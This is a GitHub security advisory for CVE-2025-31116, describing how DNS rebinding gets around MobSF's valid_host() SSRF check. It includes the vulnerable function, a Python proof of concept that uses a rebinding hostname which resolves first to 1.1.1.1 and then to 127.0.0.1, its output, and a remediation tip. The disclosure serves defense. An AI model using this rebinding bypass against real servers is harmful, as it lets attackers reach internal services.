ghsa-fcfq-m8p6-gw56
Vulnerability from github
Published
2025-03-31 17:23
Modified
2025-06-13 04:11
Summary
Mobile Security Framework (MobSF) has a SSRF Vulnerability fix bypass on assetlinks_check with DNS Rebinding
Details

Summary

The latest deployed fix for the SSRF vulnerability is through the use of the call valid_host(). The code available at lines /ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957 is vulnerable to SSRF abuse using DNS rebinding technique.

PoC

The following proof of concept:

```python def valid_host(host): """Check if host is valid.""" try: prefixs = ('http://', 'https://') if not host.startswith(prefixs): host = f'http://{host}' parsed = urlparse(host) domain = parsed.netloc path = parsed.path if len(domain) == 0: # No valid domain return False, None if len(path) > 0: # Only host is allowed return False, None if ':' in domain: # IPv6 return False, None # Local network invalid_prefix = ( '100.64.', '127.', '192.', '198.', '10.', '172.', '169.', '0.', '203.0.', '224.0.', '240.0', '255.255.', 'localhost', '::1', '64::ff9b::', '100::', '2001::', '2002::', 'fc00::', 'fe80::', 'ff00::') if domain.startswith(invalid_prefix): return False, None ip = socket.gethostbyname(domain) if ip.startswith(invalid_prefix): # Resolve dns to get IP return False, None return True, ip except Exception: return False, None

import random import time import socket from urllib.parse import urlparse

if name == 'main': print("Generating random host ...", end=' ')
prefix = random.randint(999_999, 9_999_999) host = f"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms" print("Done") print(f"Testing with '{host}' ... ", end=" ") valid, ip = valid_host(host) if valid: print(f"Successful Bypass") print(f" - Host initially resolved to: {ip}") print("Sleeping for 1 second ...") time.sleep(1) print(f" - Second use host will be resolved to: {socket.gethostbyname(host)}") print(f" - Third use host will be resolved to: {socket.gethostbyname(host)}") print("Sleeping for 30 seconds ...") time.sleep(30) else: print(f"Invalid host")

```

Yields :

$ python3 poc.py Generating random host ... Done Testing with '5084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms' ... Successful Bypass - Host initially resolved to: 1.1.1.1 Sleeping for 1 second ... - Second use host will be resolved to: 127.0.0.1 - Third use host will be resolved to: 127.0.0.1 Sleeping for 30 seconds ...

Which generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds. As you can notice the initial resolution was pointing to 1.1.1.1. The second time the IP was resolved to 127.0.0.1. Such an attack could be adjusted for other IP addresses.

Impact

The usual impact of Server-side request forgery.

Remediation

  • Avoid the use of socket.gethostbyname() since it issues and DNS query.
Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mobsf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-31116"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-31T17:23:21Z",
    "nvd_published_at": "2025-03-31T17:15:42Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe latest deployed fix for the SSRF vulnerability is through the use of the call `valid_host()`. The code available at lines [/ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957](https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957) is vulnerable to SSRF abuse using DNS rebinding technique.\n\n### PoC\n\nThe following proof of concept: \n\n```python\ndef valid_host(host):\n    \"\"\"Check if host is valid.\"\"\"\n    try:\n        prefixs = (\u0027http://\u0027, \u0027https://\u0027)\n        if not host.startswith(prefixs):\n            host = f\u0027http://{host}\u0027\n        parsed = urlparse(host)\n        domain = parsed.netloc\n        path = parsed.path\n        if len(domain) == 0:\n            # No valid domain\n            return False, None\n        if len(path) \u003e 0:\n            # Only host is allowed\n            return False, None\n        if \u0027:\u0027 in domain:\n            # IPv6\n            return False, None\n        # Local network\n        invalid_prefix = (\n            \u0027100.64.\u0027,\n            \u0027127.\u0027,\n            \u0027192.\u0027,\n            \u0027198.\u0027,\n            \u002710.\u0027,\n            \u0027172.\u0027,\n            \u0027169.\u0027,\n            \u00270.\u0027,\n            \u0027203.0.\u0027,\n            \u0027224.0.\u0027,\n            \u0027240.0\u0027,\n            \u0027255.255.\u0027,\n            \u0027localhost\u0027,\n            \u0027::1\u0027,\n            \u002764::ff9b::\u0027,\n            \u0027100::\u0027,\n            \u00272001::\u0027,\n            \u00272002::\u0027,\n            \u0027fc00::\u0027,\n            \u0027fe80::\u0027,\n            \u0027ff00::\u0027)\n        if domain.startswith(invalid_prefix):\n            return False, None\n        ip = socket.gethostbyname(domain)\n        if ip.startswith(invalid_prefix):\n            # Resolve dns to get IP\n            return False, None\n        return True, ip\n    except Exception:\n        return False, None\n\nimport random\nimport time\nimport socket\nfrom urllib.parse import urlparse\n\nif __name__ == \u0027__main__\u0027:\n    print(\"Generating random host ...\", end=\u0027 \u0027)     \n    prefix = random.randint(999_999, 9_999_999)\n    host = f\"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms\"\n    print(\"Done\")\n    print(f\"Testing with \u0027{host}\u0027 ... \", end=\" \")\n    valid, ip = valid_host(host)\n    if valid:\n        print(f\"Successful Bypass\")\n        print(f\" - Host initially resolved to: {ip}\")\n        print(\"Sleeping for 1 second ...\")\n        time.sleep(1)\n        print(f\" - Second use host will be resolved to: {socket.gethostbyname(host)}\")\n        print(f\" - Third use host will be resolved to: {socket.gethostbyname(host)}\")\n        print(\"Sleeping for 30 seconds ...\")\n        time.sleep(30)\n    else:\n        print(f\"Invalid host\")\n\n```\n\nYields : \n\n```\n$ python3 poc.py\nGenerating random host ... Done\nTesting with \u00275084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms\u0027 ...  Successful Bypass\n - Host initially resolved to: 1.1.1.1\nSleeping for 1 second ...\n - Second use host will be resolved to: 127.0.0.1\n - Third use host will be resolved to: 127.0.0.1\nSleeping for 30 seconds ...\n```\n\nWhich generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds.\nAs you can notice the initial resolution was pointing to `1.1.1.1`. The second time the IP was resolved to `127.0.0.1`. Such an attack could be adjusted for other IP addresses.\n\n### Impact\n\nThe usual impact of Server-side request forgery.\n\n### Remediation \n\n- Avoid the use of `socket.gethostbyname()` since it issues and DNS query.",
  "id": "GHSA-fcfq-m8p6-gw56",
  "modified": "2025-06-13T04:11:18Z",
  "published": "2025-03-31T17:23:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-fcfq-m8p6-gw56"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31116"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/4b8bab5a9858c69fe13be4631b82d82186e0d3bd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/mobsf/PYSEC-2025-48.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mobile Security Framework (MobSF) has a SSRF Vulnerability fix bypass on assetlinks_check with DNS Rebinding"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading...

Loading...

Loading...
  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.